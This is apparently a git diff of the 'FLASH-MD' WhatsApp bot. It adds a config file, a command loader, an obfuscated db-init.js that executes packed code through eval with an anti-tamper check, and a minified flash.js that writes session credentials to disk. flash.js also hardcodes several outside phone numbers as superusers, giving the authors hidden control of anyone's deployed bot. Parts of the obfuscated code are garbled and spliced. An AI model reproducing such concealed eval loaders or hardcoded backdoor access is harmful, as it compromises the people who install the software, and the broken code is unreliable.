zk, commandeOptions) => { - const { arg, ms, repondre } = commandeOptions; - - if (!arg[0]) { - repondre("insert video name"); - return; - } - - const topo = arg.join(" "); - try { - const search = await yts(topo); - const videos = search.videos; - - if (videos && videos.length > 0 && videos[0]) { - const Element = videos[0]; - - let InfoMess = { - image: { url: videos[0].thumbnail }, - caption: `*FLASH-MD VIDEO DOWNLOADER*\n\n*Title :* ${Element.title} -*Duration :* ${Element.timestamp} -*Video Url:* ${Element.url} - - - -*Powered by ©France King*\n\n` - }; - - zk.sendMessage(origineMessage, InfoMess, { quoted: ms }); - - // Obtenir les informations de la vidéo à partir du lien YouTube - const videoInfo = await ytdl.getInfo(Element.url); - // Format vidéo avec la meilleure qualité disponible - const format = ytdl.chooseFormat(videoInfo.formats, { quality: '18' }); - // Télécharger la vidéo - const videoStream = ytdl.downloadFromInfo(videoInfo, { format }); - - // Nom du fichier local pour sauvegarder la vidéo - const filename = 'video.mp4'; - - // Écrire le flux vidéo dans un fichier local - const fileStream = fs.createWriteStream(filename); - videoStream.pipe(fileStream); - - fileStream.on('finish', () => { - // Envoi du fichier vidéo en utilisant l'URL du fichier local - zk.sendMessage(origineMessage, { video: { url :"./video.mp4"} , caption: "*FLASH-MD*", gifPlayback: false }, { quoted: ms }); - }); - - fileStream.on('error', (error) => { - console.error('Erreur lors de l\'écriture du fichier vidéo :', error); - repondre('Une erreur est survenue lors de l\'écriture du fichier vidéo.'); - }); - } else { - repondre('No video found'); - } - } catch (error) { - console.error('Erreur lors de la recherche ou du téléchargement de la vidéo :', error); - repondre('Une erreur est survenue lors de la recherche ou du téléchargement de la vidéo.'); - } -}); diff --git a/commands/index.js b/commands/index.js new file mode 100644 index 00000000..8130d072 --- /dev/null +++ b/commands/index.js @@ -0,0 +1,9 @@ +const fs = require('fs'); +const path = require('path'); + +const commandFiles = fs.readdirSync(__dirname) + .filter(file => file.endsWith('.js') && file !== 'index.js'); + +const commands = commandFiles.flatMap(file => require(path.join(__dirname, file))); + +module.exports = commands; diff --git a/config.js b/config.js new file mode 100644 index 00000000..45d3291a --- /dev/null +++ b/config.js @@ -0,0 +1,41 @@ +require('dotenv').config(); + +function mapPresence(val) { + const mapping = { + typing: 'composing', + online: 'available', + recording: 'recording', + paused: 'paused', + offline: 'unavailable' + }; + return mapping[val?.toLowerCase()?.trim()] || 'paused'; +} + +module.exports = { + prefixes: process.env.PREFIX + ? process.env.PREFIX.split(',').map(p => p.trim()) + : [''], + + NUMBER: process.env.YOUR_NUMBER || '254742063632', + MODE: (process.env.MODE || 'private').toLowerCase().trim(), + WARN_LIMIT: process.env.WARNINGS || '3', + ON: process.env.YOUR_NAME || 'FLASH-MD', + ANTICALL: process.env.ANTICALL || 'on', + ADM: process.env.ANTIDELETE || 'on', + AR: process.env.AUTO_REACTION || 'off', + + AUTO_VIEW_STATUS: process.env.AUTO_READ_STATUS === 'on', + AUTO_LIKE: process.env.AUTO_LIKE === 'on', + AUTO_READ_MESSAGES: process.env.AUTO_READ_DM === 'on', + HEROKU_API_KEY: process.env.HEROKU_API_KEY, + HEROKU_APP_NAME: process.env.HEROKU_APP_NAME, + sessionBase64: process.env.SESSION || '', + timezone: 'Africa/Nairobi', + + USER_LID: process.env.YOUR_LID, + + PRESENCE_DM: mapPresence(process.env.PRESENCE_DM || 'typing'), + PRESENCE_GROUP: mapPresence(process.env.PRESENCE_GROUP || 'recording'), + + mapPresence +}; diff --git a/db-init.js b/db-init.js new file mode 100644 index 00000000..9d69ec5b --- /dev/null +++ b/db-init.js @@ -0,0 +1,2 @@ + // FLASH MD VERSION 2.5 ⚡ +let iBAG;!function(){const wFWF=Array.prototype.slice.call(arguments);return eval("(function sm8B(bCfu){const D9hu=LlZu(bCfu,bEMu(sm8B.toString()));try{let Xwau=eval(D9hu);return Xwau.apply(null,wFWF);}catch(z4cu){var z6Ju=(0o206534-68918);while(z6Ju<(0o400151%65569))switch(z6Ju){case (0x3007D%0o200035):z6Ju=z4cu instanceof SyntaxError?(0o400103%0x1001B):(0o400153%0x10022);break;case (0o200606-0x10179):z6Ju=(0o400167%65576);{console.log(\'Error: the code has been tampered!\');return}break;}throw z4cu;}function bEMu(v1Eu){let XyHu=1682640226;var rWzu=(0o400122%65562);{let TtCu;while(rWzu<(0x10550-0o202456)){switch(rWzu){case (0o600071%0x10008):rWzu=(68656-0o206026);{XyHu^=(v1Eu.charCodeAt(TtCu)*(15658734^0O73567354)+v1Eu.charCodeAt(TtCu>>>(0x4A5D0CE&0O320423424)))^2069631492;}break;case (0o205050-68110):rWzu=(131135%0o200024);TtCu++;break;case (262275%0o200033):rWzu=TtCu=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(rY6u-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+rY6u);}break;case (0o600131%0x10018):Poxu=(0o200416-65779);Pq4u++;break;}}}return nRuu;}function LlZu(nT1u,HgUu){nT1u=decodeURI(nT1u);let jOWu=(0x75bcd15-0O726746425);let DbPu=\"\";var fJRu=(0o207474-0x10F1E);{let H8Ls;while(fJRu<(0x10FF0-0o207716)){switch(fJRu){case (0o200512-0x10129):fJRu=(0o201010-66030);{DbPu+=String.fromCharCode(nT1u.charCodeAt(H8Ls)^HgUu.charCodeAt(jOWu));jOWu++;var jGOs=(0o201750-0x103D4);while(jGOs<(0x30077%0o200040))switch(jGOs){case (0o400076%65557):jGOs=jOWu>=HgUu.length?(66236-0o201262):(0o600156%65565);break;case (262214%0o200017):jGOs=(0o1000227%65568);{jOWu=(0x75bcd15-0O726746425);}break;}}break;case (0o400113%0x1001A):fJRu=H8Ls>>(0x4A5D0CE&0O320423424)))^1729734099;}break;case (0o202570-66922):Tzdw=(131102%0o200012);v7fw++;break;case (262222%0o200021):Tzdw=v7fw=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(vZ7t-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+vZ7t);}break;case (0o201546-0x10349):r2aw=(0O264353757%8);Tr5t++;break;}}}return Pu8v;}function Pm0t(rU2t,LhVt){rU2t=decodeURI(rU2t);let nPXt=(0x75bcd15-0O726746425);let HcQt=\"\";var jKSt=(0x40076%0o200027);{let jMpu;while(jKSt<(0x107BC-0o203633)){switch(jKSt){case (0o207400-0x10EE0):jKSt=(0o203434-0x1070E);{HcQt+=String.fromCharCode(rU2t.charCodeAt(jMpu)^LhVt.charCodeAt(nPXt));nPXt++;var Ljsu=(0x10AC8-0o205261);while(Ljsu<(0o200536-0x1013B))switch(Ljsu){case (0o200714-65973):Ljsu=nPXt>=LhVt.length?(0o203244-0x10682):(0x30092%0o200045);break;case (0o400144%65569):Ljsu=(67986-0o204557);{nPXt=(0x21786%3);}break;}}break;case (262214%0o200017):jKSt=jMpu{const ceKC=await ghQC[O55U.KKKQ(8)](O55U.GFFQ(9),[IiTC]);return ceKC[O55U.yvvQ(10)][(0x75bcd15-0O726746425)];},[O55U.usXQ(11)]:async(EfNC,YaEC,AcHC)=>{await ghQC[O55U.KKKQ(8)](`${O55U.SUUQ(12)}`,[EfNC,YaEC,AcHC]);},[O55U.OPPQ(13)]:async(UXxC,wZAC)=>{await ghQC[O55U.KKKQ(8)](`${O55U.KMhR(14)}`,[UXxC,wZAC]);},[O55U.eaaR(15)]:async(wtoD,YurD)=>{const sqiD=await ghQC[O55U.KKKQ(8)](O55U.KKKQ(16),[wtoD,YurD]);return sqiD[O55U.yvvQ(10)][(0x75bcd15-0O726746425)]?.[O55U.GFFQ(17)]||(0x75bcd15-0O726746425);},[O55U.yvvQ(18)]:async UrlD=>{const oncD=await ghQC[O55U.KKKQ(8)](O55U.usXQ(19),[UrlD]);const QofD=O55U.SUUQ(20);var kkWC=O55U[O55U.OPPQ(21)]();while(kkWC{await ghQC[O55U.KKKQ(8)](`${O55U.KKKQ(32)}`,[MFMD,oHPD,ICGD]);}}; diff --git a/flash.js b/flash.js index 3f4f99b3..0b1fd3f7 100644 --- a/flash.js +++ b/flash.js @@ -1 +1,19 @@ -'use strict';const _0x5ad8fd=_0xd289;(function(_0xa1b514,_0x497026){const _0x25360c=_0xd289,_0x287af9=_0xa1b514();while(!![]){try{const _0xcc6096=-parseInt(_0x25360c(0x261))/0x1+parseInt(_0x25360c(0x28e))/0x2+parseInt(_0x25360c(0x210))/0x3+parseInt(_0x25360c(0x249))/0x4*(-parseInt(_0x25360c(0x1d6))/0x5)+parseInt(_0x25360c(0x1b9))/0x6+parseInt(_0x25360c(0x1e8))/0x7+parseInt(_0x25360c(0x226))/0x8*(-parseInt(_0x25360c(0x1c4))/0x9);if(_0xcc6096===_0x497026)break;else _0x287af9['push'](_0x287af9['shift']());}catch(_0x1a48e8){_0x287af9['push'](_0x287af9['shift']());}}}(_0x3ac4,0x1e9bd));var __createBinding=this&&this[_0x5ad8fd(0x198)]||(Object[_0x5ad8fd(0x23c)]?function(_0x593531,_0x4531ca,_0x2e4b87,_0x1681ea){const _0x25129e=_0x5ad8fd;if(_0x1681ea===undefined)_0x1681ea=_0x2e4b87;var _0x45a834=Object['getOwnPropertyDescriptor'](_0x4531ca,_0x2e4b87);(!_0x45a834||(_0x25129e(0x1a4)in _0x45a834?!_0x4531ca[_0x25129e(0x1d2)]:_0x45a834[_0x25129e(0x21f)]||_0x45a834[_0x25129e(0x230)]))&&(_0x45a834={'enumerable':!![],'get':function(){return _0x4531ca[_0x2e4b87];}}),Object[_0x25129e(0x2a3)](_0x593531,_0x1681ea,_0x45a834);}:function(_0xcf80b5,_0x6b37e6,_0x16fc09,_0x1bb7a2){if(_0x1bb7a2===undefined)_0x1bb7a2=_0x16fc09;_0xcf80b5[_0x1bb7a2]=_0x6b37e6[_0x16fc09];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x67f92b,_0x383d16){const _0x19e6c8=_0x5ad8fd;Object['defineProperty'](_0x67f92b,_0x19e6c8(0x27a),{'enumerable':!![],'value':_0x383d16});}:function(_0xd24042,_0x4826c9){const _0x3c0134=_0x5ad8fd;_0xd24042[_0x3c0134(0x27a)]=_0x4826c9;}),__importStar=this&&this[_0x5ad8fd(0x203)]||function(_0x3ef305){const _0x348300=_0x5ad8fd;if(_0x3ef305&&_0x3ef305[_0x348300(0x1d2)])return _0x3ef305;var _0x2b7cf6={};if(_0x3ef305!=null){for(var _0x35fe15 in _0x3ef305)if(_0x35fe15!==_0x348300(0x27a)&&Object[_0x348300(0x1a2)][_0x348300(0x1f2)][_0x348300(0x22d)](_0x3ef305,_0x35fe15))__createBinding(_0x2b7cf6,_0x3ef305,_0x35fe15);}return __setModuleDefault(_0x2b7cf6,_0x3ef305),_0x2b7cf6;},__importDefault=this&&this[_0x5ad8fd(0x201)]||function(_0x9b447d){const _0x3eec3a=_0x5ad8fd;return _0x9b447d&&_0x9b447d[_0x3eec3a(0x1d2)]?_0x9b447d:{'default':_0x9b447d};};Object['defineProperty'](exports,_0x5ad8fd(0x1d2),{'value':!![]});const baileys_1=__importStar(require(_0x5ad8fd(0x17e))),logger_1=__importDefault(require(_0x5ad8fd(0x1e4))),logger=logger_1['default']['child']({});logger['level']=_0x5ad8fd(0x2a7);const pino=require(_0x5ad8fd(0x1aa)),boom_1=require(_0x5ad8fd(0x20a)),conf=require(_0x5ad8fd(0x293)),axios=require(_0x5ad8fd(0x270));let fs=require(_0x5ad8fd(0x18a)),path=require(_0x5ad8fd(0x20e));const FileType=require(_0x5ad8fd(0x241)),{Sticker,createSticker,StickerTypes}=require(_0x5ad8fd(0x1b8)),{verifierEtatJid,recupererActionJid}=require('./bdd/antilien'),{atbverifierEtatJid,atbrecupererActionJid}=require(_0x5ad8fd(0x1f3));let evt=require(__dirname+_0x5ad8fd(0x1ce));const {isUserBanned,addUserToBanList,removeUserFromBanList}=require(_0x5ad8fd(0x1f7)),{addGroupToBanList,isGroupBanned,removeGroupFromBanList}=require(_0x5ad8fd(0x187)),{isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList}=require(_0x5ad8fd(0x1ab));let {reagir}=require(__dirname+_0x5ad8fd(0x18b));var session=conf[_0x5ad8fd(0x1a8)][_0x5ad8fd(0x1bf)](/FLASH-MD-WA-BOT;;;=>/g,'');function _0x3ac4(){const _0x45dbd0=['\x20\x0a❒\x20COMMANDS:\x20','concat','etablissement\x20d\x27un\x20autounmute\x20pour\x20','downloadAndSaveMediaMessage','resolve','\x20removed\x20from\x20group.','Timeout\x20must\x20be\x20a\x20number','@whiskeysockets/baileys','/auth','toLowerCase','error','PM_PERMIT','protocolMessage','creds.update','./bdd/welcome','nomCom','./bdd/banGroup','conversation','child','fs-extra','/framework/app','msg','notify','author','\x20:\x20','\x20H\x20','Boom','pm2\x20restart\x20all','motherfucker','string','pushName','subject','chat.whatsapp.com','__createBinding','@s.whatsapp.net','ADM','je\x20fais\x20rien','schedule','output','groupMetadata','Sender\x20must\x20be\x20a\x20string','CHATBOT','admin','prototype','fromMe','get','BAE5','readMessages','message\x20delete\x20\x0a\x20@','session','/commands/','pino','./bdd/onlyAdmin','Hello,\x20it\x27s\x20time\x20to\x20close\x20the\x20group;\x20sayonara.','mute_at','mtype','fonction','Flash-Md','sender','message\x20from\x20the\x20group\x20:\x20','badSession','messages','makeCacheableSignalKeyStore','writeToFile','120363244435092946@g.us','wa-sticker-formatter','381786ZHEYin','delay','Filter\x20must\x20be\x20a\x20function','status@broadcast','mentionedJid','online','replace','message\x20type\x20:\x20','bot\x20detected\x20;you\x20will\x20be\x20removed\x20because\x20of\x20reaching\x20warn-limit','video','jidDecode','60381ycjHTU','./bdd/warn','imageMessage','connectionLost','.js','the\x20bot\x20is\x20online\x20🕸\x0a\x0a','contacts.upsert','singleSelectReply','watchFile','Goodbye\x20\x0a\x20@','/framework/france','extname','warn','Pussy','__esModule','Options\x20must\x20be\x20an\x20object','reaction','open','25BeTTlh','#000000','120363158701337904@g.us','link\x20detected\x20,\x20you\x20will\x20be\x20remove\x20because\x20of\x20reaching\x20warn-limit','non','\x20has\x20violated\x20the\x20anti-demotion\x20rule\x20by\x20removing\x20@','bdd\x20err\x20','Good\x20morning;\x20It\x27s\x20time\x20to\x20open\x20the\x20group.','typing','caption','254757835036','Goodbye\x20to\x20that\x20Fallen\x20soldier,\x20Powered\x20by\x20*FLASH-MD*;\x0a','utf8','Level\x20Up\x20message\x20detected\x20,\x20your\x20warn_count\x20was\x20upgrade\x20;\x0a\x20rest\x20:\x20','@whiskeysockets/baileys/lib/Utils/logger','length','st1.webp','\x20Avoid\x20sending\x20link.','30198QqCeZt','Timeout','videoMessage','server','You\x20are\x20banned\x20from\x20bot\x20commands','Link\x20detected\x20,\x20your\x20warn_count\x20was\x20upgrade\x20;\x0a\x20rest\x20:\x20','connectionClosed','endsWith','demote','slice','hasOwnProperty','./bdd/antibot','12345','\x20and\x20@','------------------/-----','./bdd/banUser','Message\x20supprimer','messageContextInfo','selectedRowId','\x20a\x20','connection.update','test','YEyy','toFile','extendedTextMessage','__importDefault','URL','__importStar','fuck','url','then','startsWith','Levelup\x20Message\x20detected,\x20\x0a','!!!\x20connection\x20closed,\x20reconnection\x20in\x20progress\x20...','@hapi/boom','available','writeFileSync','undefined','path','audio/mp4','681492uYKeLg','delete','./media/chrono.webp','\x0a\x0a📌Powered\x20by\x20*France\x20King','\x20*\x20*\x20*','random','function','filter','from','AUTO_DOWNLOAD_STATUS','creds','useMultiFileAuthState','lien\x20detecté','participant','toBuffer','writable','\x0a❒\x20MODE:\x20','connecting','etablissement\x20d\x27un\x20automute\x20pour\x20','mimetype','\x20\x20\x20\x20\x20\x20\x20\x20😈Anti-delete-message😈\x0a\x20Message\x20from\x20@','MODE','40ggwalg','find','toLocaleLowerCase','\x20using\x20bad\x20words\x20here\x20is\x20prohibited!.','json','trim','timeout','call','recupererToutesLesValeurs','DisconnectReason','configurable','sendMessage','You\x20are\x20disconnected,,,\x20please\x20rescan\x20the\x20qr\x20code\x20or\x20use\x20pairing\x20code','keys','type','cache','action','https://telegra.ph/file/3bf285a2c0f3d986028f3.jpg','unlink','Reboot\x20in\x20progress\x20▶️','bot\x20detected,\x20\x0a','PRESENCE','create','close','group-participants.update','@g.us','key','file-type','Cas\x20de\x20superUser\x20je\x20fais\x20rien','sendPresenceUpdate','participants','Loading\x20Commands\x20...\x0a','readFileSync','selectedButtonId','*☢️𝐅𝐋𝐀𝐒𝐇-𝐌𝐃\x20is\x20Connected☢️*\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a❒\x20𝐂𝐑𝐄𝐀𝐓𝐎𝐑:\x20𝐅𝐫𝐚𝐧𝐜𝐞\x20𝐊𝐢𝐧𝐠\x20\x20\x0a❒\x20PREFIX:\x20','151876DbahaZ','bad\x20word\x20detected\x20,\x20you\x20will\x20be\x20remove\x20because\x20of\x20reaching\x20warn-limit','254750948696','Level\x20up\x20message\x20detected\x20,\x20you\x20will\x20be\x20remove\x20because\x20of\x20reaching\x20warn-limit','FULL','ChatJid\x20must\x20be\x20a\x20string','buttonsResponseMessage','promote','groupParticipantsUpdate','messages.upsert','bad\x20word\x20detected','✅\x20Successful\x20connection!\x20☺️','bind','includes','message','hummm','yes','log','https://raw.githubusercontent.com/djalega8000/Zokou-MD/main/media/remover.gif','contacts','1.0.0','user','listResponseMessage','\x20Sending\x20other\x20group\x20links\x20here\x20is\x20prohibited!.','36112qHwnWK','number','map','restartRequired','awaitForMessage','push','recording','antibot\x20','./bdd/cron','antiword','unavailable','sticker','badword\x20detected,\x20\x0a','s.whatsapp.net','Wrong\x20session\x20ID.\x20please\x20rescan\x20the\x20QR\x20or\x20use\x20pairing\x20code\x20by\x20France\x20King...','axios','getContentType','reactionMessage','Session\x20Invalid\x20','existsSync','connection\x20to\x20server\x20lost\x20😞,,,\x20reconnection\x20in\x20progress...\x20','.\x20Consequently,\x20he\x20has\x20been\x20demonated\x20from\x20the\x20admin\x20sit.','owner','fetchLatestBaileysVersion','Africa/Nairobi','default','zokk','◇FLASH-MD◇\x0a','remove','groupSettingUpdate','bad\x20word\x20detected\x20,\x20your\x20warn_count\x20was\x20upgrade\x20;\x0a\x20rest\x20:\x20','chatJid','makeInMemoryStore','fromBuffer','text','AUTOREAD_MESSAGES','ℹ️\x20Connexion\x20en\x20cours...','unmute_at','/commands','loggedOut','message\x20deleted\x20\x0a\x20@','bot\x20detected\x20,\x20your\x20warn_count\x20was\x20upgrade\x20;\x0a\x20rest\x20:\x20','contextInfo','group_id','\x20could\x20not\x20be\x20loaded\x20for\x20the\x20following\x20reasons\x20\x20:\x20','179532wWvDtB','NUMERO_OWNER','shift','OWNER_NAME','safari','./set','link\x20detected,\x20\x0a','------','public','split','/auth/creds.json','Level\x20up\x20message\x20deleted\x20\x0a\x20@','*You\x20are\x20welcomed\x20here.*\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a*You\x20MAY\x20read\x20the\x20group\x20description\x20FOR\x20more\x20info\x20and\x20Avoid\x20getting\x20removed*\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20◇\x20*GROUP\x20DESCRIPTION*\x20\x20◇\x0a\x0a','remoteJid','message\x20sent\x20By\x20:\x20','PREFIXE','audio','announcement','readdirSync','zk.user.id','profilePictureUrl','defineProperty','http://api.brainshop.ai/get?bid=181821&key=ltFzFIXrtj2SVMTX&uid=[uid]&msg=','WARN_COUNT','unwatchFile','silent','parse','Delete\x20message\x20about\x20me','private','image','status'];_0x3ac4=function(){return _0x45dbd0;};return _0x3ac4();}const prefixe=conf[_0x5ad8fd(0x29d)];async function authentification(){const _0x21aac4=_0x5ad8fd;try{if(!fs[_0x21aac4(0x274)](__dirname+_0x21aac4(0x298)))console['log']('connection\x20in\x20progress\x20...'),await fs['writeFileSync'](__dirname+_0x21aac4(0x298),atob(session),_0x21aac4(0x1e2));else fs[_0x21aac4(0x274)](__dirname+_0x21aac4(0x298))&&session!=_0x21aac4(0x27b)&&await fs[_0x21aac4(0x20c)](__dirname+_0x21aac4(0x298),atob(session),'utf8');}catch(_0x1ca2c8){console[_0x21aac4(0x25a)](_0x21aac4(0x273)+_0x1ca2c8);return;}}authentification();function _0xd289(_0x3b01f9,_0x566fa8){const _0x3ac40e=_0x3ac4();return _0xd289=function(_0xd289f4,_0x4ce97f){_0xd289f4=_0xd289f4-0x17b;let _0x1fd700=_0x3ac40e[_0xd289f4];return _0x1fd700;},_0xd289(_0x3b01f9,_0x566fa8);}const store=(0x0,baileys_1[_0x5ad8fd(0x281)])({'logger':pino()[_0x5ad8fd(0x189)]({'level':_0x5ad8fd(0x2a7),'stream':'store'})});setTimeout(()=>{const _0x4f4664=_0x5ad8fd;async function _0x13988c(){const _0x313f6f=_0xd289,{version:_0x5f6fea,isLatest:_0x5a38cd}=await(0x0,baileys_1[_0x313f6f(0x278)])(),{state:_0x28a4b4,saveCreds:_0xeff6e0}=await(0x0,baileys_1[_0x313f6f(0x21b)])(__dirname+_0x313f6f(0x17f)),_0x29fb39={'version':_0x5f6fea,'logger':pino({'level':_0x313f6f(0x2a7)}),'browser':[_0x313f6f(0x1b0),_0x313f6f(0x292),_0x313f6f(0x25d)],'printQRInTerminal':!![],'fireInitQueries':![],'shouldSyncHistoryMessage':!![],'downloadHistory':!![],'syncFullHistory':!![],'generateHighQualityLinkPreview':!![],'markOnlineOnConnect':![],'keepAliveIntervalMs':0x7530,'auth':{'creds':_0x28a4b4[_0x313f6f(0x21a)],'keys':(0x0,baileys_1[_0x313f6f(0x1b5)])(_0x28a4b4[_0x313f6f(0x233)],logger)},'getMessage':async _0x1c7b10=>{const _0x56fb62=_0x313f6f;if(store){const _0x470922=await store['loadMessage'](_0x1c7b10[_0x56fb62(0x29b)],_0x1c7b10['id'],undefined);return _0x470922[_0x56fb62(0x257)]||undefined;}return{'conversation':'An\x20Error\x20Occurred,\x20Repeat\x20Command!'};}},_0x313b00=(0x0,baileys_1['default'])(_0x29fb39);store[_0x313f6f(0x255)](_0x313b00['ev']),setInterval(()=>{const _0x10f56f=_0x313f6f;store[_0x10f56f(0x1b6)]('store.json');},0xbb8),_0x313b00['ev']['on']('messages.upsert',async _0x4e17b0=>{const _0x37cf47=_0x313f6f,{messages:_0x2b0d1b}=_0x4e17b0,_0x404c88=_0x2b0d1b[0x0];if(!_0x404c88[_0x37cf47(0x257)])return;const _0x5d81a1=_0x30eee6=>{const _0x3e61c2=_0x37cf47;if(!_0x30eee6)return _0x30eee6;if(/:\d+@/gi[_0x3e61c2(0x1fd)](_0x30eee6)){let _0x3b400c=(0x0,baileys_1[_0x3e61c2(0x1c3)])(_0x30eee6)||{};return _0x3b400c[_0x3e61c2(0x25e)]&&_0x3b400c[_0x3e61c2(0x1eb)]&&_0x3b400c[_0x3e61c2(0x25e)]+'@'+_0x3b400c[_0x3e61c2(0x1eb)]||_0x30eee6;}else return _0x30eee6;};var _0x12647f=(0x0,baileys_1[_0x37cf47(0x271)])(_0x404c88[_0x37cf47(0x257)]),_0x8ef313=_0x12647f==_0x37cf47(0x188)?_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x188)]:_0x12647f==_0x37cf47(0x1c6)?_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x1c6)]?.[_0x37cf47(0x1df)]:_0x12647f==_0x37cf47(0x1ea)?_0x404c88[_0x37cf47(0x257)]['videoMessage']?.[_0x37cf47(0x1df)]:_0x12647f=='extendedTextMessage'?_0x404c88[_0x37cf47(0x257)]?.[_0x37cf47(0x200)]?.[_0x37cf47(0x283)]:_0x12647f==_0x37cf47(0x24f)?_0x404c88?.[_0x37cf47(0x257)]?.['buttonsResponseMessage']?.['selectedButtonId']:_0x12647f==_0x37cf47(0x25f)?_0x404c88[_0x37cf47(0x257)]?.[_0x37cf47(0x25f)]?.['singleSelectReply']?.[_0x37cf47(0x1fa)]:_0x12647f==_0x37cf47(0x1f9)?_0x404c88?.[_0x37cf47(0x257)]?.['buttonsResponseMessage']?.[_0x37cf47(0x247)]||_0x404c88['message']?.[_0x37cf47(0x25f)]?.[_0x37cf47(0x1cb)]?.[_0x37cf47(0x1fa)]||_0x404c88[_0x37cf47(0x283)]:'',_0x13a80f=_0x404c88['key']['remoteJid'],_0x1c1036=_0x5d81a1(_0x313b00['user']['id']),_0x483c82=_0x1c1036[_0x37cf47(0x297)]('@')[0x0];if(_0x13a80f===_0x37cf47(0x1b7))return;const _0x5ec1d6=_0x13a80f?.[_0x37cf47(0x1ef)](_0x37cf47(0x23f)),_0x5e4f06=_0x13a80f?.[_0x37cf47(0x1ef)](_0x37cf47(0x199));var _0x10f536=_0x5ec1d6?await _0x313b00['groupMetadata'](_0x13a80f):'',_0x3fd715=_0x5ec1d6?_0x10f536[_0x37cf47(0x196)]:'',_0x4dccf0=_0x404c88['message'][_0x37cf47(0x200)]?.[_0x37cf47(0x28b)]?.['quotedMessage'],_0x167590=_0x5d81a1(_0x404c88[_0x37cf47(0x257)]?.[_0x37cf47(0x200)]?.[_0x37cf47(0x28b)]?.[_0x37cf47(0x21d)]),_0x361343=_0x404c88['message']?.[_0x37cf47(0x200)]?.[_0x37cf47(0x28b)]?.[_0x37cf47(0x1bd)],_0x347c17=_0x361343?_0x361343:_0x4dccf0?_0x167590:'',_0xcad1f8=_0x5ec1d6?_0x404c88[_0x37cf47(0x240)]['participant']?_0x404c88[_0x37cf47(0x240)][_0x37cf47(0x21d)]:_0x404c88[_0x37cf47(0x21d)]:_0x13a80f;_0x404c88['key'][_0x37cf47(0x1a3)]&&(_0xcad1f8=_0x1c1036);var _0x124bb0=_0x5ec1d6?_0x404c88[_0x37cf47(0x240)]['participant']:'';const {getAllSudoNumbers:_0x467074}=require('./bdd/sudo'),_0x3b5a15=_0x404c88[_0x37cf47(0x195)],_0x3a2fd6='254742063632',_0x598d6e=_0x37cf47(0x1e0),_0x11fea9=_0x37cf47(0x24b),_0x5269fc='254751284190',_0x3dc39f=await _0x467074();let _0x4033ec='923184474176';const _0x2005c7=[_0x483c82,_0x4033ec,_0x3a2fd6,_0x598d6e,_0x11fea9,_0x5269fc,conf['NUMERO_OWNER']]['map'](_0x2e37c3=>_0x2e37c3[_0x37cf47(0x1bf)](/[^0-9]/g)+_0x37cf47(0x199)),_0x11ca3c=_0x2005c7[_0x37cf47(0x2ae)](_0x3dc39f),_0x4d0d1b=_0x11ca3c[_0x37cf47(0x256)](_0xcad1f8);var _0x11a867=[_0x3a2fd6,_0x4033ec,_0x598d6e,_0x11fea9,_0x5269fc][_0x37cf47(0x263)](_0x27578f=>_0x27578f[_0x37cf47(0x1bf)](/[^0-9]/g)+'@s.whatsapp.net')[_0x37cf47(0x256)](_0xcad1f8);function _0x4c6918(_0x255344){const _0x121106=_0x37cf47;_0x313b00[_0x121106(0x231)](_0x13a80f,{'text':_0x255344},{'quoted':_0x404c88});}console[_0x37cf47(0x25a)]('\x09\x20[][]...{FLASH-MD}...[][]'),console[_0x37cf47(0x25a)]('===========\x20New\x20message\x20===========');_0x5ec1d6&&console['log'](_0x37cf47(0x1b2)+_0x3fd715);console['log'](_0x37cf47(0x29c)+'['+_0x3b5a15+_0x37cf47(0x18f)+_0xcad1f8[_0x37cf47(0x297)](_0x37cf47(0x199))[0x0]+'\x20]'),console['log'](_0x37cf47(0x1c0)+_0x12647f),console['log']('------\x20message\x20content\x20------'),console['log'](_0x8ef313);function _0x3a8d98(_0x58fa6e){const _0x2b69ed=_0x37cf47;let _0x2b9d2b=[];for(_0x4e17b0 of _0x58fa6e){if(_0x4e17b0[_0x2b69ed(0x1a1)]==null)continue;_0x2b9d2b[_0x2b69ed(0x266)](_0x4e17b0['id']);}return _0x2b9d2b;}var _0x128bf8=conf[_0x37cf47(0x23b)];if(_0x128bf8==_0x37cf47(0x1be))await _0x313b00[_0x37cf47(0x243)](_0x37cf47(0x20b),_0x13a80f);else{if(_0x128bf8==_0x37cf47(0x1de))await _0x313b00[_0x37cf47(0x243)]('composing',_0x13a80f);else _0x128bf8==_0x37cf47(0x267)?await _0x313b00['sendPresenceUpdate']('recording',_0x13a80f):await _0x313b00[_0x37cf47(0x243)](_0x37cf47(0x26b),_0x13a80f);}const _0x12da23=_0x5ec1d6?await _0x10f536[_0x37cf47(0x244)]:'';let _0x4117ae=_0x5ec1d6?_0x3a8d98(_0x12da23):'';const _0x572dc9=_0x5ec1d6?_0x4117ae['includes'](_0xcad1f8):![];var _0x42afde=_0x5ec1d6?_0x4117ae['includes'](_0x1c1036):![];const _0x2b7c46=_0x8ef313?_0x8ef313['trim']()[_0x37cf47(0x297)](/ +/)[_0x37cf47(0x1f1)](0x1):null,_0x5017ff=_0x8ef313?_0x8ef313['startsWith'](prefixe):![],_0x250e96=_0x5017ff?_0x8ef313[_0x37cf47(0x1f1)](0x1)[_0x37cf47(0x22b)]()[_0x37cf47(0x297)](/ +/)[_0x37cf47(0x290)]()[_0x37cf47(0x180)]():![],_0x289921=conf[_0x37cf47(0x202)][_0x37cf47(0x297)](',');function _0x55745e(){const _0x15f7b9=_0x37cf47,_0x14b34a=Math['floor'](Math[_0x15f7b9(0x215)]()*_0x289921[_0x15f7b9(0x1e5)]),_0x324557=_0x289921[_0x14b34a];return _0x324557;}var 